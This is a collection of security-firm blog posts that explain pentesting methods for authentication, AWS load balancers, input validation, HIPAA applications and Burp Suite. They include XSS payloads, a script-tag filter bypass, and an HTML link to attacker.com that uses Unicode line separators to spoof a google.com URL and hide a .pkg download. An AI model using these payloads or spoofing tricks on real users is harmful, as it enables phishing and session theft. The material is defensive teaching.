Authentication controls are the first line of defense to protect application data and functionality. For this reason, pentesting authentication is an essential step in safeguarding applications against breaches and unauthorized user activities. This critical phase of a gray box pentest identifies vulnerabilities that could allow unauthorized users to access sensitive information.

Because there are so many types of authentication, each with its own complex set of features, this penetration testing stage can be challenging even for experienced pentesters. The following outlines key elements to consider when testing authentication systems.

Authentication vs Authorization

Understanding the difference between these two terms is essential as they are commonly conflated. Authentication is the process of verifying a user’s identity, ensuring that they are who they claim to be. Authorization, on the other hand, determines what level of access the authenticated user has to various resources or actions within the system. In other words, authentication answers the question, “Are you who you say you are?” while authorization answers, “What are you allowed to do?”

While these two terms overlap in concept, the methods of pentesting are distinctly different and will be covered separately.

Authentication Types

Web applications can implement various types of authentication, each with its own specific requirements for pentesting.

It’s also worth noting that authentication often overlaps with session management, meaning the authentication method will influence both the testing requirements and any associated limitations. The following sections break down common authentication methods and how they should be approached during pentesting.

Basic Authentication

This method, which relies on an encoded username and password, is widely recognized as inadequate for secure applications. However, it remains typical for less sensitive systems.

Cookie-Based Authentication

Cookie-based authentication requires careful testing, with particular attention to the handoff mechanism between authentication and cookie session management. Understanding how to pentest cookie-based applications is important as these two functions have many shared test cases.

Token-Based Authentication

Many modern applications will use stateless JWTs to enforce authentication and authorization. Understanding the nuances of JWTs is important for pentesters as this standard is not only widely used but also implemented in many different ways.

Soft Authentication

Any seasoned pentester will be familiar with the woes of “soft authentication.”

For less sensitive applications, it’s often desirable to forgo the use of passwords and allow access based on tokens, codes, or other IDs. While convenient, these methods come with vulnerabilities that can be exploited if not properly implemented.

Soft authentication schemes may be used to protect things like:

• Online delivery tracking
• Appointment confirmations
• Shopping cart receipts
• Shipping tracking details

An application pentest should aim to understand if these controls can be defeated.

Self-Registration

Securing user self-registration on online platforms presents significant challenges. This feature is inherently susceptible to abuse, but an application pentest will highlight potential areas of weakness.

Rate Limiting Signups

Anti-automation technologies, such as CAPTCHA, are often the go-to solution for preventing bots from creating accounts. Pentesters should review functionality like registration to determine if such controls are necessary.

Single Sign-On (SSO)

SSO is frequently overlooked during pentesting, especially considering the difficulty involved with setting up test environments. But including a properly configured SSO-enabled environment can help identify vulnerabilities that allow user impersonation or bypass authentication.

OAuth

OAuth 2.0 is the most common technology used to federate major identity providers and enterprise identity. This handoff between parties must be tested to detect misconfigurations, token leakage, and insecure token handling.

SAML

SAML (Security Assertion Markup Language) standard for exchanging authentication and authorization data between two parties. SAML assertions must be properly validated to ensure users cannot bypass access controls and escalate privileges.

Pentesting MFA

Multi-factor Authentication (MFA, or 2FA) is the widely adopted standard for reducing the impact of credential stuffing attacks. But MFA solutions vary drastically in design, and attackers can often bypass seemingly simple controls.

MFA Enforcement

Simply prompting users for an MFA token doesn’t guarantee they can’t bypass security measures and access application functionality. MFA authentication systems often use a two-step process where intermediate session tokens are granted after a user provides their password (but before they have provided their MFA token). For this reason, pentesters should attempt to use any session tokens granted to access functionality without providing MFA credentials.

MFA Brute Forcing

Pentesters should test whether MFA tokens can be brute forced. The pentest must ensure that the login process is terminated once a reasonable threshold of MFA failures is reached.

Other Authentication Vulnerabilities

Username Enumeration

Unsername Enumeration may exist on various types of functions, but system responses should be analyzed to ensure attackers cannot harvest sensitive data such as usernames.

Weak Password Policy

A pentest should evaluate the enforcement applicable password policies. If no specific policy is available, common standards such as NIST can be used. Testing should go a step further to try and bypass client-side controls that may be enforcing such policies.

No Account Lockout

Locking accounts, temporarily or permanently, should be used to mitigate password brute force attacks. Testing should assess the behavior and attempt to bypass this mechanism.

Session Fixation

After users are successfully authenticated, the application should give users a new random session identifier. This ensures that if a token was previously stolen, it cannot be used by other parties. This also prevents other attacks in which a malicious actor can force a user to employ a known session ID.

Forgotten Password Functionality

Login and logoff functions alone are rarely enough for modern applications. Forgotten password functionality, which allow users to reset their passwords, is crucial but often vulnerable to commonly overlooked security risks.

Tailoring Pentests for Robust Authentication Security

Pentesting authentication can vary significantly depending on the application, requiring pentesters to maintain both broad and in-depth expertise to thoroughly test all authentication schemes. The topics covered here serve as a foundational guide for pentesting web-based applications. Keep in mind that each customized feature demands tailored testing to ensure comprehensive security.

The post Pentesting Authentication appeared first on Virtue Security.

Even in mature environments, we frequently find application components unintentionally exposed via these mechanisms.

What are Elastic Load Balancers?

Load balancers are used to distribute network and application traffic to targets within an AWS workload. They provide an easy and scalable way to route traffic across multiple resources such as EC2, ECS, EKS and more.

ELB vs ELBv2

ELBv2’s, also referred to as ALBs, provide a number of functional improvements over ELB “Classic” load balancers. These new features are a key focus of today’s topic.

Notable features include:

• Path-based routing.
• Parameter based routing.
• Hostname routing.
• Source IP based routing

The Overlooked Attack Surface

ELBs support HTTP(S), Websocket, and TCP interfaces, but finding them all so they can be properly pentested can be tricky.

Failing to analyze ELBs is the first common mistake in AWS pentests. Listing IP addresses is not a sufficient way to pentest AWS workloads.

A First Step to Analyze ELBs

When creating an inventory of load balancers, it’s important to make sure of the following:

• List both elb and elbv2 assets configured as public-facing.
• List those assets in all other active regions.
• Fully construct all listeners with [scheme + elb + port]

But we still have a few more important steps..

Extracting Virtual Hosts

It’s also critical to be aware that ALBs support host-based routing, effectively creating virtually-hosted applications. These can only be found by listing all ALBs and analyzing the rules associated with each listener.

One ALB can route traffic to multiple targets using names such as:

https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer.example.com
https://secret-admin-dashboard.example.com

Listing Path-based Routes

In addition to host-based routes, ALBs support routing based on URL paths and query parameters. URL routes can be used to serve completely different targets in a workload:

https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/interesting-app/
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/secret-admin-dashboard/

Query-based Routing

It’s also possible to create query-based routes as well as IP-based, so looking out for these lesser used options is important as well.

https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com
https://my-load-balancer-1234567890.us-west-2.elb.amazonaws.com/?secret-admin-dashboard

Pentesting ELBs the Right Way

With an understanding of these features, we can now properly include the assets into a pentest.

List all Classic ELBs

Listing all ELBs is a region can be done simply with the following command:

aws elb describe-load-balancers

Note: this must be combined with a script to execute in all available regions. More on that below.

List all ALBs, Listeners, and Rules

Listing all ALBs will follow the same process using classic ELB. However, several more steps are needed:

• List all load balancers
• List all listeners for each load balancer
• Describe rules for each listener https://docs.aws.amazon.com/cli/latest/reference/elbv2/describe-rules.html

Here’s a basic script to perform the steps above:

regions=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text --profile $profile)
for region in $regions; do
    echo "Region: $region"
    load_balancer_arns=$(aws elbv2 describe-load-balancers --region $region --query 'LoadBalancers[*].LoadBalancerArn' --output text --profile $profile)
    for lb_arn in $load_balancer_arns; do
        dns_name=$(aws elbv2 describe-load-balancers --region $region --load-balancer-arns $lb_arn --query 'LoadBalancers[*].DNSName' --output text --profile $profile)
        echo "DNSName: $dns_name"
        echo "Load balancer ARN: $lb_arn"
        listener_arns=$(aws elbv2 describe-listeners --region $region --load-balancer-arn $lb_arn --query 'Listeners[*].ListenerArn' --output text --profile $profile)
        for listener_arn in $listener_arns; do
            aws elbv2 describe-rules --region $region --listener-arn $listener_arn --profile $profile
        done
    done
done

Other ELB Vulnerabilities

Care should also be taken to check load balancers for some other configuration issues.

Public-facing Load Balancer

Application components can be unintentionally exposed to the internet via this misconfiguration. ELBs support two modes, public-facing and private, where public-facing

ALB Does not Drop Invalid Headers

ALBs can be configured to normalize HTTP headers, adding a valuable security layer to prevent request smuggling attacks. Failure to enable this feature (disabled by default) can lead to potential abuse of downstream application layer components.

Weak Encryption Profile Supported

TLS policies can be customized for HTTPS listeners. ALBs allow for a selection of pre-defined schemes, while classic ELBs allow for more custom policies. Each of these should be evaluated to ensure the protocols and ciphers use strong encryption.

Failure to Implement Logging

ALBs are a valuable point of visibility to audit potential abuse of application components. Logging traffic is strongly recommended for maintaining comprehensive audit logs.

Conclusion

ELBs are just one of many AWS services commonly overlooked during security audits. Staying up to date on the nuances of each service is important to finding meaningful vulnerabilities in each workload.

For an overview of other AWS services, our complete guide can provide a better view of other AWS pentesting topics.

The post Pentesting ELBs – Where Vulnerabilities Hide in Plain Sight appeared first on Virtue Security.

Background

When dynamic web applications first evolved from their static predecessors, a new era of security emerged. Websites went from purely informational documents to powerful systems allowing users to manage their lives online.

But applications needed to handle user input safely, and ensure that they cannot not be maliciously subverted.

A core part of a penetration test is to assess how well an application validates input. During a pentest, attempts are made with all available inputs to access unauthorized data, tamper with database queries, and inject JavaScript.

What is Input Validation?

Input validation is the practice of sanitizing data to ensure it cannot adversely affect functional components of the application. For example, as user data is used to construct database queries, the application must ensure that those queries are not maliciously modified.

Understanding Injection

‘Injection’ is a term used in pentesting for when a malicious input can cause a specific technology to do something unintended.

For example, ‘SQL Injection’ refers to when a user can craft an input to create their own SQL queries, often resulting in a compromise of data.

“Script Injection” (or Cross-site Scripting) refers to when an attacker can cause arbitrary JavaScript to run in another user’s browser.

While there are many types of injection, some are so common that they have become a fundamental skill set of penetration testing.

Let’s review some of these.

Cross-site Scripting (XSS)

Cross-site Scripting (XSS) is a vulnerability that allows an attacker to execute arbitrary JavaScript in a victim’s web browser. By doing so, the victim’s session can be controlled or stolen by the attacker.

Understanding the Attack

This condition occurs when a web application does not properly encode dangerous characters, allowing the attacker to craft JavaScript that executes when another user uses the application.

For this reason, applications must carefully sanitize and encode data submitted by users. As an example, below shows two parameters sent by a user. The developer has forgotten to encode the lastname parameter, creating an XSS vulnerability:

<p>You searched for:</p>
First name: <script>alert(1);</script>
Last name: <script>alert(2);</script>

But unfortunately preventing script injection is not always so straightforward. Complex applications accept many types of input, and use that input in different contexts. Depending on where this data is used, the type of encoding needed to prevent XSS may change.

This is why pentesters must often analyze long chains of data handling behavior. Vulnerabilities often occur as a result of multiple application components behaving in unexpected ways.

A great example of this is an XSS vulnerability we discovered in Twitter, allowing a tweet to self-propagate.

SQL Injection

Storing data in a database in a ubiquitous trait of dynamic web applications. And therefore, SQL Injection remains as one of the most commonly found critical risk vulnerabilities today.

When user data is directly combined with SQL queries, users may have the ability to alter application logic and take complete control over the database.

As an example, the following login request can be made to bypass authentication on a vulnerable login form:

Other Injection Types

The challenges of ‘injection’ extend well beyond the examples covered here. In fact, it extends to nearly every technology that may handle data generated by users.

Despite this, there are many other well known injection attacks worth calling out:

• Command Injection – when applications run shell commands, or run backend batch jobs, applications must prevent users from escaping these strings.
• XML Injection – XML parsers often have powerful features that can be invoked by a specially crafted XML document. Applications that accept XML from users must carefully evaluate how XML is parsed.
• Template Injection – when data can be injected directly to the rendering layer, it may be possible to execute arbitrary code.
• ORM Injection – similar to SQL Injection, however, queries are modified at the ORM layer.

The types of injection should be considered limitless and always subjective to the technology used by each application.

Other Input Validation Vulnerabilities

Server-side Request Forgery (SSRF)

SSRF is a vulnerability where an attacker can coerce an application to make unauthorized requests to other web resources. This can often be used to access internal resources or obtain sensitive information.

This commonly occurs as vulnerabilities in PDF rendering utilities but can manifest in many different types of software.

URL Redirection

Web applications frequently redirect users to external resources by using user-controlled parameters. These features can be abused to redirect users to malicious websites as part of phishing campaigns.

Read more: URL Redirection – Attack and Defense

Input Validation and Penetration Testing

As you might expect, different types of injection vulnerabilities require different testing techniques. Let’s look at what this means for pentesting.

Pentesting Goals for Input Validation

1. Identify and understand application components.
2. Enumerate and discover accessible inputs.
3. Identify filters and encoding schemes.
4. Inject payloads and validate successful injections.

Finding Inputs

Many inputs are easy to spot, GET and POST parameters are often the primary toggles used to control application behavior. But a careful review is always needed to evaluate less common inputs, which may include headers, cookies, and unused parameters.

Third-party integrations and external applications also create an array of unconventional inputs. These should not be overlooked, as they may be an important part of the application’s attack surface.

For this reason, simply using the application is rarely enough to understand all inputs.

Bypassing Filters and Encoding Schemes

Application pentesting is often a cat and mouse game to bypass input filters. A careful evaluation is always needed to understand:

• What characters or strings are filtered?
• What Encoding Schemes are used?
• Can data be input via overlooked sources to bypass that encoding?

Example: consider an application where developers have decided to prevent XSS attacks by stripping <script> tags from input. This can be easily bypassed by supplying the string <sc<script>ript>, where once the filter is applied, the output is then <script>.

As you can imagine, this process is so unique to each application that automated tests will almost always fall short in this area.

Pentesting File Uploads

A simple file upload function can have a wide range of potential attacks. During a pentest, the following come under close scrutiny:

• Attempt to upload web shells or files that may be interpreted as server-side code.
• Bypass restrictions of file names or file type.
• Attempt to alter the upload destination with directory traversal attacks.
• Determine if the application disallows malicious files.

Defensive Measures

To counter these attacks, applications should take the following measures:

• Ensure file names and extensions cannot be controlled by users.
• Validate the Content-Type of uploaded files.
• Prevent traversal attacks by restricting “dot-dot-slash” sequences in file names.
• Perform server-side scanning of files to detect potential malware.

Exploiting Localization and Internationalization

Most modern technologies support localization for international users. But different character sets are not always handled as intended.

Extended character sets can be used to evade filters or craft data useful for phishing attacks. Our research exploiting these behaviors led to two CVEs affecting Chrome and Mozilla:

Fuzzing, Explained

Fuzzing is a strategy of testing where a large list of inputs is used to detect anomalies. Anomalies are often the first step to identify a vulnerability, as they indicate the application is mishandling a specific type of data.

Fuzz Lists

Maintaining quality fuzz lists is a valuable asset for pentesting. These lists are typically compiled for specific types of vulnerabilities and contain many common attack strings, or ‘payloads’.

Burp Intruder

Web application pentesters will typically use Burp’s ‘Intruder’ module to make repeated requests with each payload. This module includes default payload lists, a framework to define insertion points, and an array of optional conditional logic to apply.

The output can then be analyzed to identify outliers. Typically, sorting by response length or error code will reveal the payloads of interest.

Validating Input – Defensive Strategies

It’s important to understand some common methods used for input validation.

• Allow list vs Block list
• URL encoding
• HTML entity encoding
• Parameterized queries

Encoding Methods for Keeping Data Safe

Developers should evaluate encoding schemes to determine which may be most appropriate. However, the following schemes are commonly used to safely handle data:

URL Encoding

URL Encoding was originally designed to allow URI’s to support reserved characters and binary data. When constructing URI’s from untrusted data, URL encoding should be used.

HTML Entity Encoding

A set of reserved characters using the following values:

1. < (Less than): <
2. > (Greater than): >
3. & (Ampersand): &
4. " (Double quotation mark): "
5. ' (Single quotation mark or apostrophe): ' or ' (The latter is often preferred for compatibility)

This encoding can be used to display literal characters, instead of rendering them within the HTML.

Base64 Encoding

For use cases where data includes binary characters, Base64 is a common choice to safely encode and preserve these characters. It should be noted that base64 is not an encryption algorithm and does not offer any type of security.

Example:

dGhpcyBpcyBhIGJhc2U2NCBlbmNvZGVkIHN0cmluZyE=

Decoded value:

this is a base64 encoded string!

Allow Lists vs Block Lists

When implementing character filters it’s important to be aware of two approaches:

Variable Casting and Conversion

Care should also be taken to ensure variables are cast into appropriate formats. Unexpected variable formats or incorrect variable type use can lead to the following vulnerabilities:

• Integer overflow, underflow, or wraparound conditions
• Type confusion vulnerabilities
• Format string vulnerabilities
• Application crashes / verbose errors

Conclusion

As you can now see, input validation is a critical subject for penetration testing. Not only does it cover a broad range of pentesting test cases, but it overlaps with many others as well.

The post A Pentester’s Guide to Input Validation appeared first on Virtue Security.

A HIPAA Penetration Test executes much of the same test cases a traditional pentest test would, but gives special consideration for protecting Protected Health Information (PHI) and HIPAA requirements.

Just as a HIPAA risk assessment should analyze how well your organization implements patient data safeguards, a HIPAA penetration test dives deeper to analyze how well an application or network protects PHI.

HIPAA Penetration Testing Background

When the HIPAA framework was created, a set of requirements was prescribed to ensure covered entities took measures to protect PHI.

HIPAA Security Challenges

In 1996 the US health system was beginning a major transformation from pen, paper, and fax to modern computing. The overhaul did not come without significant security challenges, many of which can still be felt today.

Fast growth and security debt

Remember Meaningful Use? When providers, vendors, and consultants rushed to meet the certification criteria, meaningful security was mostly an afterthought.

These afterthoughts created substantial “security debt” by the vast majority of the Health IT ecosystem.

Interoperability and attack surfaces

Healthcare technology interacts with an extremely broad ecosystem of technologies and parties. A HIPAA penetration test must consider interactions with these systems to fully identify attack vectors. Familiarity with the healthcare ecosystem is crucial for understanding how to penetrate healthcare applications.

Unique Standards and confusing protocols

Health IT applications use a number of technologies which are not necessarily intuitive to your average penetration tester. HL7, FHIR, and many standards require familiarity to identify security risks.

The better a tester understands these, the fast they can identify misconfigurations and security weaknesses.

Why is a HIPAA Penetration Test Different?

So what is actually difference between pentests in other industries and those in healthcare? Thet differences will vary between applications and networks, but there are a few themes that will likely remain the same.

Lapse of PHI Protection

PHI is not an arbitrary subset of data. In fact, the HHS specifies 18 identifiers that turn health information into PHI. During a HIPAA penetration test, the pentester should be aware of this and understand the significance of the required technical safeguards.

Data Protection Nuances

Data protection nuances do not end by simply understanding PHI. For example, Academic Medical Centers dealing with anonymized or de-identified data have different security obligations for each. A proper HIPAA penetration test should use this same consideration.

Special Technologies

Unique technologies have unique security problems; healthcare IT has no shortage of these technologies and their challenges. Much of these are easy to overlook by your average penetration tester. To give an example, here’s just a few examples:

• DICOM Imaging – This format developed for radiology can embed full patient records within the metadata of JPEGs. In some instances these images have been published to patient portals leaving deeply sensitive information contained within them.

• FHIR – The FHIR API is used by a vast number of web applications, but does not necessarily implement authentication and authorization. In several HIPAA penetration tests we have seen improper FHIR implementations allow arbitrary access to health records.

• HL7 – the plumbing of Health IT; a series of tubes creating a Rube Goldberg machine that is the US Healthcare system. Since penetration testing requires an analysis of data passed in and out of an application, a basic understanding of HL7 is important.

Healthcare Devices

It’s hard to talk about healthcare pentesting without the topic of devices. From bedside insulin to radiology imaging, the clinical world has an IT footprint riddled with outdated or fundamentally insecure devices. A seasoned healthcare pentester has not just a better chance of finding vulnerabilities, but can also provide better remediation advice.

HIPAA and Application Pentesting

Developing a SaaS, mobile, or other software solution that processes PHI?

Applications handling PHI should take special precautions to ensure data is not cached or transferred to unintended recipients. Traditional application pentests often raise a number of low risk issues related to this, but a HIPAA penetration test should take special precautions for these.

Some examples include:

• Cache Controls – Using web headers such as Expires, Pragma, and Cache-control must be used to prevent data being stored on shared workstations.
• Timeout Screen Redirection – When a user session times out, simply expiring the session token is not enough. Web applications should implement client-side code to redirect the user to a login page. This can prevent PHI from being left on screen when a workstation is unattended.
• Use of GET/POST – HIPAA pentests should take a closer look at GET requests to ensure they do not contain PHI. Remember, this includes phone numbers, names, and IDs which may normally not be of such concern.

HIPAA and AWS Penetration Testing

Although HIPAA does not prescribe guidance specifically for cloud providers, there are some important things to know.

1. You should be aware of the security capability of AWS services to ensure data is encrypted at rest and transit.
2. AWS requires a BAA is in place for some customers:
   https://aws.amazon.com/premiumsupport/knowledge-center/activate-artifact-baa-agreement/
3. Not all AWS services are eligible for HIPAA applications, it is recommended your cloud stack is examined closely for compliance.
   https://aws.amazon.com/compliance/hipaa-eligible-services-reference/

For a closer look at pentesting on AWS we have a more detailed AWS Pentesting guide.

Scoping a HIPAA Penetration Test

Scoping is one of the most important first steps of a penetration test. It’s so important that we recommend using it when evaluating a pentest company. To begin, you will need to determine if you are focusing on an application pentest, network pentest, or a hybrid mix.

For organizations with SaaS, mobile, and general web applications, an application pentest is likely the best assessment for you. Then choosing the style of test (black box, gray box, or whitebox) is the next important step. The vast majority of organizations will perform gray box assessments, but unique circumstances may change that.

On the network side of things, you should consider whether the testing will cover the external network or internal.

HIPAA Pentesting FAQ

Do I need a BAA for my penetration testing vendor?

The majority of covered entities do not require a BAA from pentesting vendors unless explicit access is granted to PHI. By nature, access to PHI would be considered incidental during a penetration test.

Does HIPAA require a penetration test?

The HIPAA Security Rule requires a “risk analysis” is performed on the technology storing or processing PHI. Although this does not explicitly require a pentest, a HIPAA penetration test is widely regarded as the most appropriate way to perform this analysis.

Wrapping Up

Experience in Healthcare can make all the difference in a good or bad HIPAA penetration test. At Virtue Security we have been a HIMSS exhibitor for 8 consecutive years and strive to support our Healthcare heroes who save lives everyday.

If you’re curious about what HIPAA means for your application or network pentest, drop us a line or visit our pentesting services page.

The post HIPAA Penetration Testing – A Primer for Healthcare Security appeared first on Virtue Security.

What is a black box application pentest?

A black box penetration test is an application pentest where the tester is provided nothing more than the target location of the application. This is usually conducted against an application which requires authentication, however, credentials are not provided to the tester.

The primary objective is to determine “Can an external attacker with no prior access, obtain access to the application or data?”.

What’s performed in a black box pentest?

Although the ability of the pentester is greatly limited without credentials, there are a number of attacks and tactics used to obtain access or sensitive information.

Content Discovery

Pentesters will use a number of tools to enumerate files, directories, and functionality which may be accessible on the web server. Burp suite for example has built-in functionality to quickly discover web content.

Default Credentials

Chances are low that admin / admin password combinations exist in modern applications, but a tester must check for them. A pentester should also use any information available to test for easy to guess credentials.

Username Enumeration

Username Enumeration is a common theme in application pentesting, but especially relevant for black box pentests. As a first step to gaining access, a pentester will use a large dictionary of usernames against the login form to see if the application indicates if a username is valid.

It is recommended that sensitive applications do not reveal whether usernames are valid or not.

What is a gray box penetration test?

A gray box penetration test is performed with credentialed access. This allows the pentester to assume the role of legitimate users of all privilege levels. The tester can then perform attacks from the perspective of users to determine the impact a bad actor could have.

What’s performed in a gray box penetration test?

The word performed from a gray box perspective is substantially more comprehensive than a black box. This includes some of the following:

1. Testing of role based access controls – Identifying if low privilege users can access data or functionality belonging to higher privileged users.

2. Testing of data handling – Authenticated applications often process and store a wide array of user submitted data. A gray box pentest will analyze encoding schemes that may protect against Cross-site Scripting (XSS) and SQL Injection vulnerabilities.

3. Testing of session management – cookie based authentication, JWT tokens, and custom session management schemes all can be susceptible to unique attacks.

4. Testing of application technology – Does your application use a framework like .NET, Django, or Rails? Do you integrate with cloud components? Many common functionality like uploading documents to S3, or using wkhtmltopdf, all have their very specialized security considerations needed.

5. Testing of business logic – One of the biggest differentiators in a good vs. average application pentest. This is where a tester uses all available technical pieces of an application to undermine your business. Consider a shopping cart that allowed a quantity of ‘.5’, or a financial transaction that didn’t validate a negative deposit.

What is a white box penetration test?

A white box penetration test includes the scope of a gray box penetration test, but also allows access to source code, design documents, code comments, and just about everything a developer would typically have. This allows the most insightful perspective into the inner workings of the application and can potentially reveal the most security findings.

This assessment, however, is also the most labor intensive and time consuming. Not all applications are appropriate to assess in this fashion.

Cost Analysis of a Black Box vs Gray Box vs. White Box Pentests

Many people first consider a black box pentest as a cheap way to satisfy compliance requirements. Although this is the lowest cost method of performing a pentest, it returns significantly lower value.

At a high level it’s safe to say the following about Black vs. Gray vs White box assessments:

• Black box tests cost the least, but produce a very low number of vulnerabilities.
• Gray box tests fall in the middle range of cost, but return a good number of substantially useful vulnerabilities.
• White box tests are the highest in cost. These should produce the highest number of vulnerabilities, but the time needed to identify them is high. This leads to a high dollar per vulnerability ratio.

To illustrate this, let’s look at an average number of vulnerabilities returned from each pentest type:

Speaking very generally, black box pentests produce vastly lower vulnerabilities than gray box. White box pentests produce more, but not vastly more issue than a gray box.

Now let’s quantify the money spent. To measure the “weight” of high, medium, and low risk issues, we will give the following ‘value’ to each:

We end up with the following value for each:

And now for the final dollar per vulnerability point:

When we show this into our highly scientific chart, you can see the vulnerability points significantly increase after the black box category, vulnerabilities decrease when getting into the white box territory:

Which one is right for you?

Consider some of the downsides of a black box test:

1. The findings returned will generally be minimal. The test is essentially only covering the login page and leaves the vast majority of the application untouched.
2. The cost of engagement for a vendor for small projects can still be expensive. Pentest consultancies usually have minimum engagement costs which can lead to wasteful spending.
3. A black box pentest report will not satisfy all requirements. For software/SaaS companies, potential clients will generally expect to see a gray box pentest report. This is the industry standard way to give clients assurance of your application security.

Despite the downsides, there are still times where a black box pentest is appropriate:

1. Applications that are no longer maintained, and a minimum level of security assurance is needed.
2. Applications which contain little to no sensitive information.
3. Circumstances where a gray box pentest is simply not financially feasible. In times where budget cannot be allocated to a gray box pentest, a black box pentest is of course better than nothing. In summary, if you’re finding yourself in the Black Box vs. Gray box dilemma, chances are the gray box is the more prudent choice. A black box test is better than nothing, and a White Box test is nice if you have a large budget for critical application, but the most value will typically be found in the gray box.

Conclusion

When in doubt, it may be best to seek the advice of the pentesting company performing the assessment. Weighing internal constraints against industry norms may help decide which pentest is right for you.

The post Black Box vs. Gray Box vs. White Box Pentesting Explained appeared first on Virtue Security.

The Tools Of The Trade

BurpSuite (or “Burp”) is the industry standard framework for performing professional application penetration tests. For developers, there are a few key features that greatly improve on standard browser debuggers:

• Clearly view raw requests/response pairs.  
• Replay (and modify) requests.  
• Intercept (and modify) requests.

Installing BurpSuite

Burp has a free community edition that contains all the key features above. This can be downloaded here: https://portswigger.net/burp/releases

How it Works

Burp is “MITM proxy” and thus can inspect all HTTP and Websocket traffic. A browser must be configured to use the local proxy (127.0.0.1:8080) and trust Burps root Certificate Authority certificate. Fortunately, Burp includes a pre-configured Chrome binary:

Navigate to Proxy – Intercept – Open Browser to open the browser.

Once you open the browser, you can navigate and authenticate to your application. By default, “Intercept” is toggled on, and you will probably want toggle that off:

Trusting the Root Certificate

Burp needs to proxy TLS connections and must be able to inspect SSL. If you see certificate errors with the pre-configured browser, you should install Burp’s CA certificate at the system level.

When Burp is running, a web interface is available at http://burp from the configured browser.

On Windows you can follow the following steps to trust the certificate:

1 Click CA Certificate and download the cacert.der certificate.   2 Double-click the der file and click Install Certificate   3 Select Current User   4 Select Place all certificates in the following store   5 Select Trusted Root Certification Authorities

Reproducing Common Pentest Vulnerabilities

Now let’s look at some real world examples of vulnerabilities we can test for. These examples highlight workflows that can be used to confirm and test for a great deal of pentesting test cases.

Are Session Tokens Invalidated After Logoff?

When a user logs out of an application, the session token should be terminated. A common vulnerability exists when the token is only cleared from the browser, and not actually invalidated by the application. To test for this we can do the following:

1. Login to the application and generate a request that proves we’re authenticated. Below a request retrieving chart data will work great.

2. Send the request to ‘Repeater’

In Proxy – HTTP History we can right click on any request and send its contents to repeater:

3. Click Logout to end the session

4. Return to the repeater tab, and send the previously used request.

Now we can see the session token cannot be replayed and is now terminated on the server side. Had we seen that we can still use the request to access the API, the vulnerability would be considered still open.

Modify a Request “on the fly”

In many situations it will be difficult to simply replay a previous request. In cases of file uploads, single-use CSRF tokens, and other complex requests, it is easier to use a browser to make each new request.

By using Burp’s Intercept, we can tell Burp to hold all requests before sending them to the server. We can then modify, forward, or drop all requests as we please.

Reproducing Cross-site Scripting (XSS) Vulnerabilities

Scenario: Our super secure app uses JavaScript to prevent users from entering bad characters. But the pentest team told us they still found XSS in a form field.

When trying to reproduce this with a browser, our security controls worked! How could this be?

As it turns out, client-side security controls are fundamentally flawed; users ultimately have full control of client-side JavaScript. To bypass these controls, a pentester can use the form as it was intended, but enable Burp’s Intercept. When this feature is on, all requests are halted here so we can edit and forward or drop before they are sent on.

In the example below, we populated the form with safe characters, but injected the dangerous payload here:

Miscellaneous Raw Requests

By now you should have the tools and skills to reproduce any vulnerability which is reasonably documented on an application pentest report. Remember that as long as you have a raw request, you can cut and paste this into Repeater. Just remember to update the actual network hostname of the application:

Other Common Pentest Issues

Helping Teammates with Curl Commands

Your teammates may not adopt Burp, but you can still help them. Burp allows any request from your proxy history to be copied as a curl command. Just right click anywhere you see a request displayed and Copy as curl command.

You can see this in your clipboard:

curl -i -s -k -X $'POST' \
     -H $'Host: staging.example.com' -H $'Connection: close' -H $'Content-Length: 36' -H
$'Accept: */*' \
  --data-binary $'username=<script>alert(1)</script>' \    
  $'https://staging.example.com/api/settings'

Conclusion

These methods should give you the ability to quickly generate any request you need and modify them just as a pentester would.

The post Developing Like A Pentester – (And How To Reproduce Any Vulnerability) appeared first on Virtue Security.

Social engineering attacks can range from classical “Nigerian prince” scams to really sophisticated spear phishing techniques. In this blog post, we explore some application pentesting techniques and show how certain UI bugs could be exploited to fool even the most tech-savvy of users.

There is no doubt that every modern piece of software now utilizes graphical user interfaces in one way or another. GUI elements are often used to display some of the most critical pieces of information which we base our decisions on. Take the web browser you’re using right now to read this blog post for example – you trust that the address bar displays the true URL of the current webpage, don’t you? If it instead displayed the domain name of your bank, would you trust it?

Likewise, you trust that the sender address that your email client shows is the actual sender address of the emails you receive, and so you decide whether to trust the content of these emails or not based on that. After all, we now have email authentication technologies in place to prevent email spoofing such as SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting & Conformance).

But what if these GUI components could be tricked into displaying fake information, wouldn’t we lose all trust in those programs to the point they become useless?

GUI elements do have inherent limitations which we can exploit. First, they are limited by your screen size, and they often have fixed width or height. And likely they expect data in a certain format or language to display.

Chrome Link Spoofing

Let’s take some practical examples to illustrate our point. Imagine that you received a link in an email. When you hover over the link, you see “https://google.com/bear.png” as such:

This does seem safe to click as it points to the official Google domain name (google.com) and leads to a harmless .png photo, right?

But it isn’t what it seems, this is the true link in HTML:

<a href="https://attacker.com/#&#x2028;&#x2028;
https://google.com/bear.png">https://google.com/bear.png</a>

As you can see, the link actually points to “attacker.com” and not “google.com”. But because of the U+2028 (LINE SEPARATOR) Unicode character in the hash part of the URL (HTML-encoded as “
”), the status bubble on the bottom left corner of the browser rendered the URL with new lines like this:

https://attacker.com/#

https://google.com/bear.png

And as the status bubble has fixed height, it failed to display the full multi-line URL, so the only part of the URL that got displayed was the bottom part “https://google.com/bear.png”.

Hiding Malicious Downloads

Clicking the link would cause a file named “bear.png” to get downloaded in Google Chrome’s download bar:

But the true file extension is “.pkg” and not “.png”. The full file name is actually “bear.png[U+2028][U+2028].pkg” where [U+2028] is the Unicode line separator character which gets rendered as a new line, causing the “.pkg” extension at the end of the file name to get rendered out of view.

In other words, this causes Chrome to render the file name as:

bear.png

.pkg

The second/third line obviously cannot fit on screen, giving us the ability to spoof any extension we want.

Now you might think that you still wouldn’t click a link or open any attachments from an untrusted source even if it points to a trusted domain name or looks like a harmless “.png” file. But what if the sender address could be spoofed as well for any domain name in spite of SPF/DKIM/DMARC/whatever?

Pentesting Email Clients

Take a look at the sender addresses in these emails:

Yahoo! Mail

Mozilla Thunderbird (CVE-2020-12397)

Microsoft Outlook

